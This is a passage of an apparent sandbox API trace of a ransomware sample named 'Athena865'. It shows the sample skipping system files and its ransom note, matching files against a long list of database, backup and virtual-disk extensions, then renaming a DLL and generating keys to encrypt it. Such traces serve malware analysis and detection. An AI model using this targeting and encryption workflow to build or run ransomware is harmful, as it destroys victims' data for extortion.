[0118.715] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0118.715] lstrlenW (lpString="vis") returned 3 [0118.715] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0118.715] lstrlenW (lpString="vpd") returned 3 [0118.715] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0118.715] lstrlenW (lpString="vvv") returned 3 [0118.715] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0118.715] lstrlenW (lpString="wdb") returned 3 [0118.715] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0118.715] lstrlenW (lpString="wmdb") returned 4 [0118.715] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0118.715] lstrlenW (lpString="wrk") returned 3 [0118.715] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0118.715] lstrlenW (lpString="xdb") returned 3 [0118.715] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0118.715] lstrlenW (lpString="xld") returned 3 [0118.716] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0118.716] lstrlenW (lpString="xmlff") returned 5 [0118.716] lstrcmpiW (lpString1="f.dll", lpString2="xmlff") returned -1 [0118.716] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll.Athena865") returned 63 [0118.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll.athena865"), dwFlags=0x1) returned 1 [0118.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.717] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114688) returned 1 [0118.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.717] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.718] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.718] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.718] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c300, lpName=0x0) returned 0x154 [0118.720] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c300) returned 0x100000 [0118.726] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.727] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.727] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.728] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.729] CloseHandle (hObject=0x154) returned 1 [0118.729] CloseHandle (hObject=0x17c) returned 1 [0118.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.730] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2=".") returned 1 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2="..") returned 1 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2="windows") returned -1 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2="bootmgr") returned 1 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2="temp") returned -1 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2="pagefile.sys") returned -1 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2="boot") returned 1 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2="ids.txt") returned 1 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2="ntuser.dat") returned -1 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2="perflogs") returned -1 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2="MSBuild") returned -1 [0118.730] lstrlenW (lpString="msadcfr.dll") returned 11 [0118.730] lstrcpyW (in: lpString1=0x241e89e, lpString2="msadcfr.dll" | out: lpString1="msadcfr.dll") returned="msadcfr.dll" [0118.730] lstrlenW (lpString="msadcfr.dll") returned 11 [0118.730] lstrlenW (lpString="Athena865") returned 9 [0118.730] lstrcmpiW (lpString1="adcfr.dll", lpString2="Athena865") returned -1 [0118.730] lstrlenW (lpString=".dll") returned 4 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2=".dll") returned 1 [0118.730] lstrlenW (lpString=".lnk") returned 4 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2=".lnk") returned 1 [0118.730] lstrlenW (lpString=".ini") returned 4 [0118.730] lstrcmpiW (lpString1="msadcfr.dll", lpString2=".ini") returned 1 [0118.731] lstrlenW (lpString=".sys") returned 4 [0118.731] lstrcmpiW (lpString1="msadcfr.dll", lpString2=".sys") returned 1 [0118.731] lstrlenW (lpString="msadcfr.dll") returned 11 [0118.731] lstrlenW (lpString="bak") returned 3 [0118.731] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0118.731] lstrlenW (lpString="ba_") returned 3 [0118.731] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0118.731] lstrlenW (lpString="dbb") returned 3 [0118.731] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0118.731] lstrlenW (lpString="vmdk") returned 4 [0118.731] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0118.731] lstrlenW (lpString="rar") returned 3 [0118.731] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0118.731] lstrlenW (lpString="zip") returned 3 [0118.731] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0118.731] lstrlenW (lpString="tgz") returned 3 [0118.731] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0118.731] lstrlenW (lpString="vbox") returned 4 [0118.731] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0118.731] lstrlenW (lpString="vdi") returned 3 [0118.731] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0118.731] lstrlenW (lpString="vhd") returned 3 [0118.731] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0118.731] lstrlenW (lpString="vhdx") returned 4 [0118.731] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0118.731] lstrlenW (lpString="avhd") returned 4 [0118.731] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0118.731] lstrlenW (lpString="db") returned 2 [0118.731] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0118.731] lstrlenW (lpString="db2") returned 3 [0118.731] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0118.732] lstrlenW (lpString="db3") returned 3 [0118.732] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0118.732] lstrlenW (lpString="dbf") returned 3 [0118.732] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0118.732] lstrlenW (lpString="mdf") returned 3 [0118.732] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0118.732] lstrlenW (lpString="mdb") returned 3 [0118.732] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0118.732] lstrlenW (lpString="sql") returned 3 [0118.732] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0118.732] lstrlenW (lpString="sqlite") returned 6 [0118.732] lstrcmpiW (lpString1="fr.dll", lpString2="sqlite") returned -1 [0118.732] lstrlenW (lpString="sqlite3") returned 7 [0118.732] lstrcmpiW (lpString1="cfr.dll", lpString2="sqlite3") returned -1 [0118.732] lstrlenW (lpString="sqlitedb") returned 8 [0118.732] lstrcmpiW (lpString1="dcfr.dll", lpString2="sqlitedb") returned -1 [0118.732] lstrlenW (lpString="xml") returned 3 [0118.732] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0118.732] lstrlenW (lpString="$er") returned 3 [0118.732] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0118.732] lstrlenW (lpString="4dd") returned 3 [0118.732] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0118.732] lstrlenW (lpString="4dl") returned 3 [0118.732] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0118.732] lstrlenW (lpString="^^^") returned 3 [0118.732] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0118.732] lstrlenW (lpString="abs") returned 3 [0118.732] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0118.732] lstrlenW (lpString="abx") returned 3 [0118.732] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0118.733] lstrlenW (lpString="accdb") returned 5 [0118.733] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0118.733] lstrlenW (lpString="accdc") returned 5 [0118.733] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0118.733] lstrlenW (lpString="accde") returned 5 [0118.733] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0118.733] lstrlenW (lpString="accdr") returned 5 [0118.733] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0118.733] lstrlenW (lpString="accdt") returned 5 [0118.733] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0118.733] lstrlenW (lpString="accdw") returned 5 [0118.733] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0118.733] lstrlenW (lpString="accft") returned 5 [0118.733] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0118.733] lstrlenW (lpString="adb") returned 3 [0118.733] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.733] lstrlenW (lpString="adb") returned 3 [0118.733] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.733] lstrlenW (lpString="ade") returned 3 [0118.733] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0118.733] lstrlenW (lpString="adf") returned 3 [0118.733] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0118.733] lstrlenW (lpString="adn") returned 3 [0118.733] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0118.733] lstrlenW (lpString="adp") returned 3 [0118.733] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0118.733] lstrlenW (lpString="alf") returned 3 [0118.733] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0118.733] lstrlenW (lpString="ask") returned 3 [0118.734] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0118.734] lstrlenW (lpString="btr") returned 3 [0118.734] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0118.734] lstrlenW (lpString="cat") returned 3 [0118.734] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0118.734] lstrlenW (lpString="cdb") returned 3 [0118.734] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0118.734] lstrlenW (lpString="ckp") returned 3 [0118.734] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0118.734] lstrlenW (lpString="cma") returned 3 [0118.734] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0118.734] lstrlenW (lpString="cpd") returned 3 [0118.734] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0118.734] lstrlenW (lpString="dacpac") returned 6 [0118.734] lstrcmpiW (lpString1="fr.dll", lpString2="dacpac") returned 1 [0118.734] lstrlenW (lpString="dad") returned 3 [0118.734] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0118.734] lstrlenW (lpString="dadiagrams") returned 10 [0118.734] lstrcmpiW (lpString1="sadcfr.dll", lpString2="dadiagrams") returned 1 [0118.734] lstrlenW (lpString="daschema") returned 8 [0118.734] lstrcmpiW (lpString1="dcfr.dll", lpString2="daschema") returned 1 [0118.734] lstrlenW (lpString="db-journal") returned 10 [0118.734] lstrcmpiW (lpString1="sadcfr.dll", lpString2="db-journal") returned 1 [0118.734] lstrlenW (lpString="db-shm") returned 6 [0118.734] lstrcmpiW (lpString1="fr.dll", lpString2="db-shm") returned 1 [0118.734] lstrlenW (lpString="db-wal") returned 6 [0118.734] lstrcmpiW (lpString1="fr.dll", lpString2="db-wal") returned 1 [0118.734] lstrlenW (lpString="dbc") returned 3 [0118.735] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0118.735] lstrlenW (lpString="dbs") returned 3 [0118.735] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0118.735] lstrlenW (lpString="dbt") returned 3 [0118.735] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0118.735] lstrlenW (lpString="dbv") returned 3 [0118.735] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0118.735] lstrlenW (lpString="dbx") returned 3 [0118.735] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0118.735] lstrlenW (lpString="dcb") returned 3 [0118.735] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0118.735] lstrlenW (lpString="dct") returned 3 [0118.735] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0118.735] lstrlenW (lpString="dcx") returned 3 [0118.735] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0118.735] lstrlenW (lpString="ddl") returned 3 [0118.735] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0118.735] lstrlenW (lpString="dlis") returned 4 [0118.735] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0118.735] lstrlenW (lpString="dp1") returned 3 [0118.735] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0118.735] lstrlenW (lpString="dqy") returned 3 [0118.735] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0118.735] lstrlenW (lpString="dsk") returned 3 [0118.735] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0118.735] lstrlenW (lpString="dsn") returned 3 [0118.735] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0118.735] lstrlenW (lpString="dtsx") returned 4 [0118.735] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0118.735] lstrlenW (lpString="dxl") returned 3 [0118.735] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0118.736] lstrlenW (lpString="eco") returned 3 [0118.736] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0118.736] lstrlenW (lpString="ecx") returned 3 [0118.736] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0118.736] lstrlenW (lpString="edb") returned 3 [0118.736] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0118.736] lstrlenW (lpString="epim") returned 4 [0118.736] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0118.736] lstrlenW (lpString="fcd") returned 3 [0118.736] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0118.736] lstrlenW (lpString="fdb") returned 3 [0118.736] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0118.736] lstrlenW (lpString="fic") returned 3 [0118.736] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0118.736] lstrlenW (lpString="flexolibrary") returned 12 [0118.736] lstrlenW (lpString="fm5") returned 3 [0118.736] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0118.736] lstrlenW (lpString="fmp") returned 3 [0118.736] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0118.736] lstrlenW (lpString="fmp12") returned 5 [0118.736] lstrcmpiW (lpString1="r.dll", lpString2="fmp12") returned 1 [0118.736] lstrlenW (lpString="fmpsl") returned 5 [0118.736] lstrcmpiW (lpString1="r.dll", lpString2="fmpsl") returned 1 [0118.736] lstrlenW (lpString="fol") returned 3 [0118.736] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0118.736] lstrlenW (lpString="fp3") returned 3 [0118.736] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0118.736] lstrlenW (lpString="fp4") returned 3 [0118.736] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0118.736] lstrlenW (lpString="fp5") returned 3 [0118.736] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0118.737] lstrlenW (lpString="fp7") returned 3 [0118.737] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0118.737] lstrlenW (lpString="fpt") returned 3 [0118.737] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0118.737] lstrlenW (lpString="frm") returned 3 [0118.737] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0118.737] lstrlenW (lpString="gdb") returned 3 [0118.737] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.737] lstrlenW (lpString="gdb") returned 3 [0118.737] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.737] lstrlenW (lpString="grdb") returned 4 [0118.737] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0118.737] lstrlenW (lpString="gwi") returned 3 [0118.737] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0118.737] lstrlenW (lpString="hdb") returned 3 [0118.737] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0118.737] lstrlenW (lpString="his") returned 3 [0118.737] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0118.737] lstrlenW (lpString="ib") returned 2 [0118.737] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0118.737] lstrlenW (lpString="idb") returned 3 [0118.737] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0118.737] lstrlenW (lpString="ihx") returned 3 [0118.737] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0118.737] lstrlenW (lpString="itdb") returned 4 [0118.737] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0118.737] lstrlenW (lpString="itw") returned 3 [0118.737] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0118.737] lstrlenW (lpString="jet") returned 3 [0118.737] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0118.738] lstrlenW (lpString="jtx") returned 3 [0118.738] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0118.738] lstrlenW (lpString="kdb") returned 3 [0118.738] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0118.738] lstrlenW (lpString="kexi") returned 4 [0118.738] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0118.738] lstrlenW (lpString="kexic") returned 5 [0118.738] lstrcmpiW (lpString1="r.dll", lpString2="kexic") returned 1 [0118.738] lstrlenW (lpString="kexis") returned 5 [0118.738] lstrcmpiW (lpString1="r.dll", lpString2="kexis") returned 1 [0118.738] lstrlenW (lpString="lgc") returned 3 [0118.738] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0118.738] lstrlenW (lpString="lwx") returned 3 [0118.738] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0118.738] lstrlenW (lpString="maf") returned 3 [0118.738] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0118.738] lstrlenW (lpString="maq") returned 3 [0118.738] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0118.738] lstrlenW (lpString="mar") returned 3 [0118.738] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0118.738] lstrlenW (lpString="marshal") returned 7 [0118.738] lstrcmpiW (lpString1="cfr.dll", lpString2="marshal") returned -1 [0118.738] lstrlenW (lpString="mas") returned 3 [0118.738] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0118.738] lstrlenW (lpString="mav") returned 3 [0118.738] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0118.738] lstrlenW (lpString="maw") returned 3 [0118.738] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0118.738] lstrlenW (lpString="mdbhtml") returned 7 [0118.739] lstrcmpiW (lpString1="cfr.dll", lpString2="mdbhtml") returned -1 [0118.739] lstrlenW (lpString="mdn") returned 3 [0118.739] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0118.739] lstrlenW (lpString="mdt") returned 3 [0118.739] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0118.739] lstrlenW (lpString="mfd") returned 3 [0118.739] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0118.739] lstrlenW (lpString="mpd") returned 3 [0118.739] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0118.739] lstrlenW (lpString="mrg") returned 3 [0118.739] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0118.739] lstrlenW (lpString="mud") returned 3 [0118.739] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0118.739] lstrlenW (lpString="mwb") returned 3 [0118.739] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0118.739] lstrlenW (lpString="myd") returned 3 [0118.739] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0118.739] lstrlenW (lpString="ndf") returned 3 [0118.739] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0118.739] lstrlenW (lpString="nnt") returned 3 [0118.739] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0118.739] lstrlenW (lpString="nrmlib") returned 6 [0118.739] lstrcmpiW (lpString1="fr.dll", lpString2="nrmlib") returned -1 [0118.739] lstrlenW (lpString="ns2") returned 3 [0118.739] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0118.739] lstrlenW (lpString="ns3") returned 3 [0118.739] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0118.739] lstrlenW (lpString="ns4") returned 3 [0118.739] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0118.740] lstrlenW (lpString="nsf") returned 3 [0118.740] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0118.740] lstrlenW (lpString="nv") returned 2 [0118.740] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0118.740] lstrlenW (lpString="nv2") returned 3 [0118.740] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0118.740] lstrlenW (lpString="nwdb") returned 4 [0118.740] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0118.740] lstrlenW (lpString="nyf") returned 3 [0118.740] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0118.740] lstrlenW (lpString="odb") returned 3 [0118.740] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.740] lstrlenW (lpString="odb") returned 3 [0118.740] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.740] lstrlenW (lpString="oqy") returned 3 [0118.740] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0118.740] lstrlenW (lpString="ora") returned 3 [0118.740] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0118.740] lstrlenW (lpString="orx") returned 3 [0118.740] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0118.740] lstrlenW (lpString="owc") returned 3 [0118.740] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0118.740] lstrlenW (lpString="p96") returned 3 [0118.740] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0118.740] lstrlenW (lpString="p97") returned 3 [0118.740] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0118.740] lstrlenW (lpString="pan") returned 3 [0118.740] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0118.740] lstrlenW (lpString="pdb") returned 3 [0118.740] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0118.740] lstrlenW (lpString="pdm") returned 3 [0118.741] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0118.741] lstrlenW (lpString="pnz") returned 3 [0118.741] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0118.741] lstrlenW (lpString="qry") returned 3 [0118.741] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0118.741] lstrlenW (lpString="qvd") returned 3 [0118.741] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0118.741] lstrlenW (lpString="rbf") returned 3 [0118.741] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0118.741] lstrlenW (lpString="rctd") returned 4 [0118.741] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0118.741] lstrlenW (lpString="rod") returned 3 [0118.741] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0118.741] lstrlenW (lpString="rodx") returned 4 [0118.741] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0118.741] lstrlenW (lpString="rpd") returned 3 [0118.741] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0118.741] lstrlenW (lpString="rsd") returned 3 [0118.741] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0118.741] lstrlenW (lpString="sas7bdat") returned 8 [0118.741] lstrcmpiW (lpString1="dcfr.dll", lpString2="sas7bdat") returned -1 [0118.741] lstrlenW (lpString="sbf") returned 3 [0118.741] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0118.741] lstrlenW (lpString="scx") returned 3 [0118.741] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0118.741] lstrlenW (lpString="sdb") returned 3 [0118.741] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0118.741] lstrlenW (lpString="sdc") returned 3 [0118.741] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0118.741] lstrlenW (lpString="sdf") returned 3 [0118.741] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0118.742] lstrlenW (lpString="sis") returned 3 [0118.742] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0118.742] lstrlenW (lpString="spq") returned 3 [0118.742] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0118.742] lstrlenW (lpString="te") returned 2 [0118.742] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0118.742] lstrlenW (lpString="teacher") returned 7 [0118.742] lstrcmpiW (lpString1="cfr.dll", lpString2="teacher") returned -1 [0118.742] lstrlenW (lpString="tmd") returned 3 [0118.742] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0118.742] lstrlenW (lpString="tps") returned 3 [0118.742] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0118.742] lstrlenW (lpString="trc") returned 3 